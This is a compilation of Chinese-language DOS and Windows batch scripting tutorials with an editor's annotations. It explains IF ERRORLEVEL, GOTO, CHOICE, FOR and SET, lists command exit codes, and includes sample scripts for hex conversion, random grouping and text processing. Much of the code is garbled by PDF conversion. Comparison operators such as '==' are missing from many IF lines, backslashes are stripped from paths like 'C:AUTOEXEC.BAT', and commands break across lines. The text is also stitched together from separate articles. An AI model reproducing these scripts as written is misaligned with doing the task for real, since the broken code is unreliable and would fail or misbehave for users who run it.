      A: B: C: ..., 

      CLOCK$, CONFIG$, DblBuff$, IFS$HLP$

    具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:

      1. 该设备确实存在(由软件虚拟的设备除外)

      2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)

      3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等)

    可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备

    另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄. 

========================================================================


3、if errorlevel <数字> 待执行的命令 


很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。


如if errorlevel 2 goto x2


==== willsort 编注 =====================================================

    返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式:

 

    if errorlevel 1 set el=1

    if errorlevel 2 set el=2

    if errorlevel 3 set el=3

    if errorlevel 4 set el=4

    if errorlevel 5 set el=5

    ...


    当然, 也可以使用以下循环来替代, 原理是一致的: 

    for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e 


    更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章


    出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码.


    另外, 虽然 if errorlevel=<数字> command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略掉罢了

========================================================================



二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。 


如:


goto end 


:end 

echo this is the end 


标号用“:字符串”来定义,标号所在行不被执行。 


==== willsort 编注 =====================================================

    label 常被译为 "标签" , 但是这并不具有广泛的约定性. 


    goto <label> 与 :<label> 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case 结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对照:


      Batch         C / Basic

      goto&:       goto&:

      goto&:&if     if{}&else{} / if&elseif&endif

      goto&:&if... switch&case / select case

      goto&:&if&set&envar... function() / function(),sub()

========================================================================


三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。


注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。


choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):


CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]


描述:

    该工具允许用户从选择列表选择一个项目并返回所选项目的索引。


参数列表:

   /C    choices       指定要创建的选项列表。默认列表是 "YN"。


   /N                  在提示符中隐藏选项列表。提示前面的消息得到显示,

                       选项依旧处于启用状态。


   /CS                 允许选择分大小写的选项。在默认情况下,这个工具

                       是不分大小写的。


   /T    timeout       做出默认选择之前,暂停的秒数。可接受的值是从 0

                       到 9999。如果指定了 0,就不会有暂停,默认选项

                       会得到选择。


   /D    choice        在 nnnn 秒之后指定默认选项。字符必须在用 /C 选

                       项指定的一组选择中; 同时,必须用 /T 指定 nnnn。


   /M    text          指定提示之前要显示的消息。如果没有指定,工具只

                       显示提示。


   /?                  显示帮助消息。


   注意:

   ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选

   择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,

   该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的

   ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0

   的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降

   序排列。


示例:

   CHOICE /? 

   CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

   CHOICE /T 10 /C ync /CS /D y

   CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"

   CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"


==== willsort 编注 =====================================================

   我列出win98下choice的用法帮助, 已资区分


Waits for the user to choose one of a set of choices.

等待用户选择一组待选字符中的一个


CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]


/C[:]choices Specifies allowable keys. Default is YN

             指定允许的按键(待选字符), 默认为YN

/N           Do not display choices and ? at end of prompt string.

             不显示提示字符串中的问号和待选字符

/S           Treat choice keys as case sensitive.

             处理待选字符时大小写敏感

/T[:]c,nn    Default choice to c after nn seconds

             在 nn 秒后默认选择 c

text         Prompt string to display

             要显示的提示字符串

ERRORLEVEL is set to offset of key user presses in choices.

ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值

========================================================================

   

如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

屏幕上会显示:

确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?

   

   

例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列): 

@echo off 

choice /C dme /M "defrag,mem,end"

if errorlevel 3 goto end

if errorlevel 2 goto mem 

if errotlevel 1 goto defrag 


==== willsort 编注 =====================================================

    errotlevel -> errorlevel

========================================================================


:defrag 

c:dosdefrag 

goto end 


:mem 

mem 

goto end 


:end 

echo good bye 


此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。 




四、for 循环命令,只要条件符合,它将多次执行同一命令。 


语法:

对一组文件中的每一个文件执行某个特定命令。


FOR %%variable IN (set) DO command [command-parameters]


  %%variable  指定一个单一字母可替换的参数。

  (set)      指定一个或一组文件。可以使用通配符。

  command    指定对每个文件执行的命令。

  command-parameters

             为特定命令指定参数或命令行开关。


例如一个批处理文件中有一行: 

for %%c in (*.bat *.txt) do type %%c 


则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。


==== willsort 编注 =====================================================

    需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环. 

    当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串,  也有很多开关被用于扩展了文件替换功能.

========================================================================


--------------------------------------------------------

标题:手把手教你写批处理-批处理示例

作者:佚名

编者:Climbing

出处:中国DOS联盟之联合DOS论坛

题注:willsort

日期:2004年11月10日

--------------------------------------------------------


 [转帖并完善]手把手教你写批处理


原文作者写东西很没有专业精神,写的文章简直是错误百出,而且啰里八索,如果不加以修改和完善,简直是误人子弟,因此,我在原文的基础上进行了修改,修正了大部分错误(当然,不可避免可能会有新的错误,希望高手发现后能够及时指出来)。


URL: http://www.txwm.com/News/technic/200408/2004081609515074304.html


摘自:天下网吧联盟 作者:佚名

修改及完善:Climbing(xclimbing@msn.com)

最后修改日期:2004年8月19日


批处理示例


1. IF-EXIST


1) 首先用记事本在C:建立一个test1.bat批处理文件,文件内容如下: 

@echo off 

IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT 

IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist 


然后运行它:

C:>TEST1.BAT 


如果C:存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。


2) 接着再建立一个test2.bat文件,内容如下: 

@ECHO OFF 

IF EXIST \%1 TYPE \%1 

IF NOT EXIST \%1 ECHO \%1 does not exist 


执行: 

C:>TEST2 AUTOEXEC.BAT 

该命令运行结果同上。


说明: 

(1) IF EXIST 是用来测试文件是否存在的,格式为 

IF EXIST [路径+文件名] 命令 

(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。 


==== willsort 编注 =====================================================

    DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符. 

========================================================================


3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下: 

@echo off

IF "%1" == "A" ECHO XIAO 

IF "%2" == "B" ECHO TIAN 

IF "%3" == "C" ECHO XIN 


如果运行:

C:>TEST3 A B C 

屏幕上会显示:

XIAO

TIAN

XIN


如果运行:

C:>TEST3 A B 

屏幕上会显示

XIAO

TIAN 


在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。 


2、IF-ERRORLEVEL


建立TEST4.BAT,内容如下:

@ECHO OFF 

XCOPY C:AUTOEXEC.BAT D:

IF ERRORLEVEL 1 ECHO 文件拷贝失败 

IF ERRORLEVEL 0 ECHO 成功拷贝文件 


然后执行文件:

C:>TEST4


如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。 


IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。

因此下面的批处理文件是错误的:


@ECHO OFF 

XCOPY C:AUTOEXEC.BAT D: 

IF ERRORLEVEL 0 ECHO 成功拷贝文件 

IF ERRORLEVEL 1 ECHO 未找到拷贝文件 

IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 

IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 

IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 


无论拷贝是否成功,后面的: 


未找到拷贝文件 

用户通过ctrl-c中止拷贝操作 

预置错误阻止文件拷贝操作 

拷贝过程中写盘错误


都将显示出来。 


以下就是几个常用命令的返回值及其代表的意义: 


backup 

0 备份成功 

1 未找到备份文件 

2 文件共享冲突阻止备份完成 

3 用户用ctrl-c中止备份 

4 由于致命的错误使备份操作中止 


diskcomp 

0 盘比较相同 

1 盘比较不同 

2 用户通过ctrl-c中止比较操作 

3 由于致命的错误使比较操作中止 

4 预置错误中止比较 


diskcopy 

0 盘拷贝操作成功 

1 非致命盘读/写错 

2 用户通过ctrl-c结束拷贝操作 

3 因致命的处理错误使盘拷贝中止 

4 预置错误阻止拷贝操作 


format 

0 格式化成功 

3 用户通过ctrl-c中止格式化处理 

4 因致命的处理错误使格式化中止 

5 在提示“proceed with format(y/n)?”下用户键入n结束 


xcopy 

0 成功拷贝文件 

1 未找到拷贝文件 

2 用户通过ctrl-c中止拷贝操作 

4 预置错误阻止文件拷贝操作 

5 拷贝过程中写盘错误 


==== willsort 编注 =====================================================

chkdsk

0    未找到错误

255  找到一个或多个错误


choice

0    用户按下ctrl+c/break

1    用户按下第一个键

255  检测到命令行中的错误条件

其它 用户按下的有效字符在列表中的位置


defrag

0    碎片压缩成功

1    出现内部错误

2    磁盘上没有空簇。要运行DEFRAG,至少要有一个空簇

3    用户用Ctrl+C退出了DEFRAG

4    出现一般性错误

5    DEFRAG在读簇时遇到错误

6    DEFRAG在写簇时遇到错误

7    分配空间有错

8    内存错

9    没有足够空间来压缩磁盘碎片


deltree

0    成功地删除一个目录


diskcomp

0    两盘相同

1    发现不同

2    按CTRL+C 终止了比较

3    出现严重错误

4    出现初始化错误


find

0    查找成功且至少找到了一个匹配的字符串

1    查找成功但没找到匹配的字符串

2    查找中出现了错误


keyb

0    键盘定义文件装入成功

1    使用了非法的键盘代码,字符集或语法

2    键盘定义文件坏或未找到

4    键盘、监视器通讯时出错

5    要求的字符集未准备好


move

0    成功地移动了指定的文件

1    发生了错误


msav /N

86   检查到了病毒


replace

0    REPLACE成功地替换或加入了文件

1    MS-DOS版本和REPLACE不兼容

2    REPLACE找不到源文件

3    REPLACE找不到源路径或目标路径

5    不能存取要替换的文件

8    内存不够无法执行REPLACE

11    命令行句法错误


restore

0    RESTORE成功地恢复了文件

1    RESTORE找不到要恢复的文件

3    用户按CTRL+C终止恢复过程

4    RESTORE因错误而终止


scandisk

0    ScanDisk在它检查的驱动器上未检测到任何错误

1    由于命令行的语法不对,不能运行ScanDisk

2    由于内存用尽或发生内部错误,ScanDisk意外终止

3    用户让ScanDisk中途退出

4    进行盘面扫描时,用户决定提前退出

254  ScanDisk找到磁盘故障并已全部校正

255  ScanDisk找到磁盘故障,但未能全部校正


setver

0    SETVER成功地完成了任务

1    用户指定了一个无效的命令开关

2    用户指定了一个非法的文件名

3    没有足够的系统内存来运行命令

4    用户指定了一个非法的版本号格式

5    SETVER在版本表中未找到指定的项

6    SETVER未找到SETVER.EXE文件

7    用户指定了一个非法的驱动器

8    用户指定了太多的命令行参数

9    SETVER检测到丢失了命令行参数

10   在读SETVER.EXE文件时,SETVER检测到发生错误

11   SETVER.EXE文件损坏

12   指定的SETVER.EXE文件不支持版本表

13   版本表中没有足够的空间存放新的项

14   在写SETVER.EXE文件时SETVER检测到发生错误

========================================================================


3、IF STRING1 == STRING2


建立TEST5.BAT,文件内容如下: 

@echo off 

IF "%1" == "A" FORMAT A: 


执行: 

C:>TEST5 A 

屏幕上就出现是否将A:盘格式化的内容。 


注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。

如:if [%1]==[A] 或者 if %1*==A*


5、GOTO


建立TEST6.BAT,文件内容如下: 

@ECHO OFF 

IF EXIST C:AUTOEXEC.BAT GOTO _COPY 

GOTO _DONE

:_COPY 

COPY C:AUTOEXEC.BAT D: 

:_DONE 


注意: 

(1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。 

(2) 标号的命名规则与文件名的命名规则相同。

(3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。


==== willsort 编注 =====================================================

    1)标号也称作标签(label)

    2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多

    3)当无法区别两个标签时, 将跳转至位置最靠前的标签

========================================================================


6、FOR


建立C:TEST7.BAT,文件内容如下: 

@ECHO OFF 

FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C 


运行: 

C:>TEST7


执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。 


set [[/a [expression]] [/p [variable=]] string]


参数

/a 

将 string 设置成可求值的数字表达式。 

/p 

将 variable 的值设置成输入行。 

variable 

指定需要设置或修改的变量。 

string 

指定要与指定变量关联的字符串。 

/? 

在命令提示符显示帮助。 

注释

使用“恢复控制台”中的 set 

set 命令具有不同的参数,可从“恢复控制台”中获得。


使用特殊字符 

字符 < > | & ^ 是特殊命令外壳字符,在字符串中使用时必须位于 escape 字符 (^) 之前或用引号引起来(即,"StringContaining&Symbol")。如果要使用引号将含有特殊字符的字符串引起来,则该引号将被设置成环境变量值的一部分。


使用环境变量 

使用环境变量可控制某些批处理文件和程序的操作,并可控制 Windows XP 和 MS-DOS 子系统显示和工作的方式。Autoexec.nt 文件中经常使用 set 命令设置环境变量。


显示当前的环境设置 

当只键入 set 命令时,将显示当前的环境设置。这些设置通常包含用来帮助查找磁盘上程序的 COMSPEC 和 PATH 环境变量。Windows XP 使用的两个其它环境变量是 PROMPT 和 DIRCMD。


使用参数 

当指定变量和字符串的值时,指定的变量值将被添加到该环境,而且该字符串与该变量关联。如果环境中已经存在该变量,新的字符串值将替代旧的字符串值。


如果只为 set 命令指定一个变量和一个等号(没有字符串),则与该变量关联的字符串值将被清除(就象变量根本不存在一样)。


使用 /a 

下表按优先性从高到低的顺序列出了支持 /a 的运算符。


运算符 执行的操作 

< > 分组 

* / % + - 算法 

<< >> 逻辑移位 

& 按位“和”运算 

^ 按位“异或”运算 

| 按位“或”运算 

= *= /= %= += -= &= ^= |= <<= >>= 分配 

, 表达式分隔符 


如果使用逻辑 (&& ||) 或模 (%) 运算符,请使用引号将表达式字符串引起来。表达式中的非数字字符串将被视为环境变量名,其值将转化成数字然后才进行处理。如果指定当前环境中没有定义的环境变量名,将会分配零值,允许您对环境变量进行算术运算,而不需要使用 % 找回值。


如果从命令脚本外的命令行中运行 set /a,则会显示该表达式的最终值。


数值是指十进制的数字,在前缀加 0× 则表示十六进制数字,加 0 则表示八进制数字。因此,0×2 与 18 相同,也与 022 相同,八进制表示法容易引起混淆。例如,08 和 09 不是有效数字,因为 8 和 9 不是有效的八进制数字。


使用 /p 

要求有提示字符串。


支持延迟的环境变量扩展 

已经添加延迟的环境变量扩展支持。默认情况下禁用该支持,不过可使用 cmd /v 对其启用或禁用。


使用命令扩展 

当启用命令扩展(默认)并单独运行 set 时,将显示所有当前的环境变量。如果使用一个值来运行 set,则会显示与该值匹配的变量。


在批处理文件中使用 set 

创建批处理文件时,可以使用 set 命令创建变量,然后象使用编号变量 %0 到 %9 一样使用这些变量。也可以使用 %0 到 %9 变量作为 set 命令的输入。


从批处理文件调用 set 变量。 

从批处理文件调用变量值时,必须将该值用百分号(%)括起来。例如,如果批处理程序创建了一个环境变量 BAUD,则可以在命令行中键入 %baud%,将与 BAUD 关联的字符串作为可替换参数使用。


范例

若要设置名为 TEST^1 的环境变量,请键入:


set testVar=test^^1


若要设置名为 TEST&1 的环境变量,请键入:


set testVar=test^&1


Set 将变量值设置成等号 (=) 后的内容。如果键入:


set testVar="test^1"


将得到如下结果: 

testVar="test^1"


要设置名为 INCLUDE 的环境变量,使字符串 C:Inc(驱动器 C 上的 Inc 目录)与该变量关联,请键入: 


set include=c:inc 


然后可以通过用在名称百分号 (%) 将 INCLUDE 括起,在批处理文件中使用字符串 C:Inc。例如,可能在批处理文件中包含以下命令,以显示与 INCLUDE 环境变量关联的目录内容。


dir %include% 


处理此命令时,字符串 C:Inc 将替代 %include%。


还可以在批处理程序中使用 set,将新目录添加到 PATH 环境变量中。例如:


@echo off 

rem ADDPATH.BAT adds a new directory 

rem to the path environment variable. 

set path=%1;%path% 

set 


当启用命令表达式(默认)并使用一个值来运行 set 时,则会显示与该值匹配的变量。例如,如果在命令提示符键入 set p,将得到如下结果:


Path=C:WINNTsystem32;C:WINNT;C:WINNTSystem32Wbem

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 8 Stepping 1, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0801

ProgramFiles=C:Program Files

PROMPT=$P$G 




        此文本文档由pdf格式转换过来,由于转换的限制,

    代码可能存在断行的情况,在使用的过程中请注意检查。


-----------------------------------------------------------------------------



1. CMD.mdb 


1. 16<=>10  


          欲在cmd下转进制,自己搞加减乘除? 喝多了头疼死,算了 


          偷了把鸡,利用ping和set帮忙运算了一把 


          hoho,什么都不会,就会投机,巨人肩膀上一站,技术在那里? 


          用法: DxH 数字 


          例如: 


          DxH 1234567 


          DxH 0x1234fd3 


          @echo off 


           if "%1"  "" goto :syntax 


           if "%1"  "/?" goto :syntax 


           :H2D 


          set tmpx=%1 


           if "%tmpx:~0,2%"  "0x" ( 


          for /f "delims=" %%i in ('set /a %1') do ( 


          echo. 


          echo %1 = %%i 


          goto :end 


          ) 


          ) 


           :D2H 


          setlocal ENABLEDELAYEDEXPANSION 


          for /f "tokens=2" %%i in ('ping %1 -n 1 -w 1 ^|find "Pinging"') do ( 


          for /f "tokens=1-4 delims=." %%a in ("%%i") do ( 


          set /a tmp1 = %%a / 16 


          set /a tmp2 = %%a - 16 * !tmp1! 


          set /a tmp3 = %%b / 16 


          set /a tmp4 = %%b - 16 * !tmp3! 


           set /a tmp5 = %%c / 16 


           set /a tmp6 = %%c - 16 * !tmp5! 


           set /a tmp7 = %%d / 16 


           set /a tmp8 = %%d - 16 * !tmp7! 


           for /l %%a in (1,1,8) do ( 


           if !tmp%%a!  10 set tmp%%a=!tmp%%a:10=A! 


           if !tmp%%a!  11 set tmp%%a=!tmp%%a:11=B! 


           if !tmp%%a!  12 set tmp%%a=!tmp%%a:12=C! 


           if !tmp%%a!  13 set tmp%%a=!tmp%%a:13=D! 


           if !tmp%%a!  14 set tmp%%a=!tmp%%a:14=E! 


           if !tmp%%a!  15 set tmp%%a=!tmp%%a:15=F! 


           ) 


           ) 


           ) 


           echo. 


           echo %1 = 0x!tmp1!!tmp2!!tmp3!!tmp4!!tmp5!!tmp6!!tmp7!!tmp8! 


           endlocal 


           :end 


           goto:eof 


           :syntax 


           cls 


           echo. 


           echo.DxH.cmd 16进制^<=^>10进制 互转脚本. Written by hitme 2005.7.27 


           echo. 


           echo.用法:  DxH 数字 


           echo. 


           echo.例如:  DxH 1234567 


           echo.       DxH 0x1234fd3 


           DxH.rar 


2. CCF 


          attachment.rar 


3. cmd  


          述求:有一个party,达到对到场人员,随机分组玩团队游戏的目的。。。 


          能够随意的输入姓名,输入完后,把随机分组排列的姓名显示在屏幕上 


          设姓名文本为name.txt,一个名字一行 


          分组规则为:4人一组 


          思路为:乱编号+编号排序=乱序,然后分组 


          随机空间大小为10的3次方,几十人的party应该够了吧 


          准备好name.txt,保存为xy.cmd运行,自定义修改红色部分 


          @echo off 


          for /f "delims=" %%i in (name.txt) do ( 


          setlocal ENABLEDELAYEDEXPANSION 


          for /l %%a in (1,1,3) do ( 


                   echo %random% >nul 


                   set  m=!m!!random:~-1! 


                    ) 


          echo !m!!:%%i>>tmp.txt 


          endlocal 


          ) 


          setlocal ENABLEDELAYEDEXPANSION 


          set /a num=0 


          set /a linenum=0 


          for /f "delims=" %%i in (tmp.txt) do set /a linenum=!linenum!+1 


          for /f "tokens=1,2* delims=: " %%i in ('sort tmp.txt ^| findstr /n 


          "."') do ( 


          set n=%%k 


          set m=!m!!n! 


          set /a num=!num!+1 


          if !num!  4 ( 


          echo !m!>>tmp1.txt 


          set /a num=0 


          set m=) 


          if "%%i"  "!linenum!" ( 


          if "!m!" neq "" echo !m!>>tmp1.txt) 


          ) 


          endlocal 


          findstr /n "." tmp1.txt>list.txt 


          del tmp*.txt 


          start list.txt 


          xy.rar 


4. cmd 


          cmd下的一些文本处理 


          开头跑个题,插播个广告,隆重推出,铛铛铛铛~~~,excel!excel!excel! 


          m$那个电子表格软件?提它做什么?这题太跑了吧? 


          做行文本处理!排序,过滤,中间插入,翻个身,倒个个,奇偶行交换,抽取 


          1,4,9..行,合并,交叉合并,首行填充奇数行,等等72变 


          相比xnix shell,各种文本编辑软件,决不逊色,入门还更容易,帮助文件更 


          为详尽,实为居家旅行,杀人越货的强手货,没有概念的赶紧试用。 


          使用时需要的仅仅是个思路。思路..思路很重要! 


          言归正传,还是cmd,用它做文本处理,只能算是勉为其难,凑合着用吧,常 


         做深呼吸,小心给"憋"着了 


         1.列表多个文本文件文件名+文件内容 


         2.构造001.txt 002.txt 999.txt 文本内容分别是text001 text002 


         3.构造http://..001|002|003../01|02|03.htm序列 


         4.将一堆文本形式的网址单独转换成IE收藏夹的快捷方式 


         5.将IE收藏夹导出为CSV格式文档 


         6.有txt文件all.txt 和 a.txt 里面存放的是文件列表,求出a.txt里面没有 


         ,而all.txt里有的文件列表 


         7.文本文件中的单词实现全文自动统计并排序 


         8.统计一个文本文件中某一单词出现的次数? 


         9.GB和Maxthon群组转换 


         10.合并2个字幕文本文件 


         11.snap&compare 多个html的固定内容 


         1.列表多个文本文件文件名+文件内容 


         find /v "" *.txt >list.txt 


         *继续观察自带命令的有价值输出 


         ------------------------------------------------------------ 


         2.构造001.txt 002.txt 999.txt 文本内容分别是text001 text002 


         for /l %i in (1,1,9) do @echo text00%i >00%i.txt 


         for /l %i in (10,1,99) do @echo text0%i >0%i.txt 


         for /l %i in (100,1,999) do @echo text%i >%i.txt 


         *分段补零 


         ----------------------------------------------------------------- 


         3.构造http://..001|002|003../01|02|03.htm文件,以下内容保存为.bat文件 


         执行 


         代码: 


         setlocal ENABLEDELAYEDEXPANSION 


         for /l %%i in (1001,1,1162) do for /l %%j in (101,1,112) do @(set 


         s=%%i && set t=%%j && echo ^<td^>^<a 


         href="http://www.sergeaura.net/TGP/!s:~1,3!/images/!t:~1,2!.jpg" rel="external nofollow" target="_blank" ^>!s 


          :~1,3!!t:~1,2!.jpg^</a^>^</td^> >>file.htm) 


          endlocal 


          *嵌套for,两组变量 


          *00x,0x序号构造,加减高位 ccfer su99原创 


          ------------------------------------------------------------ 


          4.将一堆文本形式的网址单独转换成IE收藏夹的快捷方式 


          for /f "tokens=1,2,3 delims=:/" %i in ('findstr /n "." 文本.txt') do 


          echo [InternetShortcut] >>%k_%i.url && echo url=http://%k 


          >>%k_%i.url 


          *没什么特别的 


          ------------------------------------------------------------ 


          5.将IE收藏夹导出为CSV格式文档,以下内容保存为.bat文件执行 


          代码: 


          for /f "tokens=1,3,4 delims=:" %%i in ('findstr /s "http" *.url') do 


          if %%k neq 0 (echo %%i,http:%%j:%%k >>list.csv) else echo 


         %%i,http:%%j >>list.csv 


          *findstr /s *.*得到文件相对路径,利用之 


          ------------------------------------------------------------ 


          6.有txt文件all.txt 和 a.txt 里面存放的是文件列表,求出a.txt里面没有 


          ,而all.txt里有的文件列表 


          #有txt文件 all.txt 和 a.txt 里面存放的是文件列表,a.txt 是 all.txt 的 


          子集,求出a.txt里面没有,而all.txt里有的文件列表 


          for /f "delims=" %i in (all.txt) do @findstr /x /c:"%i" a.txt >nul 


          || @findstr /x /c:"%i " b.txt >nul || @echo %i>>b.txt 


          *连续的||..||应用 


          ------------------------------------------------------------ 


          7.文本文件中的单词实现全文自动统计并排序 


          一个文本文件,每行有一个单词或字符串(有重复的),几千行。用word或 


          UE只能做到按字典顺序重新排列、或选中某词统计其个数。 


          有没有一种方法能自动统计每一不同单词的出现次数,并输出结果列表(加按 


          出现次数排序就更好了)。 


          源文件内容: 


          abc 


          adfg 


          aew 


          dew 


          abc 


          abc 


          aew 


          adfg 


          abc 


          dew 


          adfg 


          ewq 


          abc 


          自动统计并排序后输出列表(假设): 


          abc    5 


          adfg    3 


          aew    2 


          dew    2 


          ewq    1 


          设输入文本为tmp 


          for /f "delims=" %i in (tmp) do @echo %i >> %i.txt 


          @findstr /n "." *.txt >tmp1 


          for /f "tokens=1-3 delims=:" %i in (tmp1) do @echo %k %j>%i 


          copy *.txt result.txt 


          *分类汇总,excel,awk。。不合用的时候,cmd顶住 


          *行号=数量 


          ------------------------------------------------------------ 


          8.统计一个文本文件中某一单词出现的次数?,以下内容保存为.bat文件执行 


          find_word.bat 


          代码: 


           @echo off 


           setlocal ENABLEDELAYEDEXPANSION 


           set /p file=请输入要查询的文件名: 


           set /p name=请输入要查询的单词: 


           set /a n=0 


           :loop 


           set /a n=n+1 


           for /f "tokens=%n% delims=,;.()[]{}!? " %%i in (%file%) do if /i %%i 


           equ %name% echo %name% >>%name%.txt 


           if %n% neq 255 (goto loop) else goto end 


           :end 


           for /f "delims=:" %%i in ('findstr /n "." %name%.txt') do set x=%%i 


           echo %name%出现的次数为:%x% 


           del %name%.txt 


           endlocal 


          *for进行单词匹配,慢死人的那种,纯属yy 


          ------------------------------------------------------------ 


           9.GB和Maxthon群组转换,以下内容保存为.bat文件执行 


          GB和Maxthon群组转.bat 


          代码: 


           @echo off 


           :common 


           setlocal ENABLEDELAYEDEXPANSION 


           findstr "CaptorGroup" *.cgp  && goto max_gb ||  goto gb_max 


           :max_gb 


          rd /s/q gb_group 


          md gb_group 


           for %%i in (*.cgp) do echo [Group]>>gb_group\%%i 


           for %%a in (*.cgp) do for /f "tokens=1-4 delims  :" %%i in ('findstr 


          /n "=" "%%a                " ') do set /a n=%%i-2 && echo 


          name!n!=%%j>>gb_group\%%a && echo ^url!n!=%%k:%%l>>gb_group\%%a 


          goto end 


           :gb_max 


          rd /s/q max_group 


          md max_group 


          for %%a in (*.cgp) do for /f "tokens=2 delims  " %%i in ('findstr 


          "." "%%a               " ') do echo %%i>>max_group\%%~na.txt 


          for %%a in (max_group*.txt) do echo 


           [CaptorGroup]>>max_group\%%~na.cgp 


          for %%a in (max_group*.txt) do for /f "tokens=1,2 delims=: " %%i in 


           ('findstr "." "%%a               " ') do if "%%i" neq "http" (set 


          n=%%i) else (if "%%i"    "http" echo 


           !n!=http:%%j>>max_group\%%~na.cgp) 


          del /q max_group*.txt 


          goto end 


          endlocal 


           :end 


          cls 


          echo 转换完成,请查看子目录 


          pause 


          exit 


          *两行并一行,一行拆两行 


          ------------------------------------------------------------ 


           10.合并2个字幕文本文件 


          合并2个字幕文本文件 


          原始文件1如下 


          代码: 


           1 


          00:00:17,920 --> 00:00:18,625 


          Charlie? 


          2 


          00:00:19,858 --> 00:00:20,606 


          Charlie? 


          3 


            00:00:21,635 --> 00:00:23,140 


            和我一块儿去散步怎样? 


            4 


            00:00:23,739 --> 00:00:24,456 


            不 


            5 


            00:00:24,972 --> 00:00:27,317 


            不,不去,Locke,今天我哪儿都不想去 


            原始文件2如下 


            代码: 


            1 


            00:00:17,820 --> 00:00:18,525 


            Charlie? 


            2 


            00:00:19,758 --> 00:00:20,506 


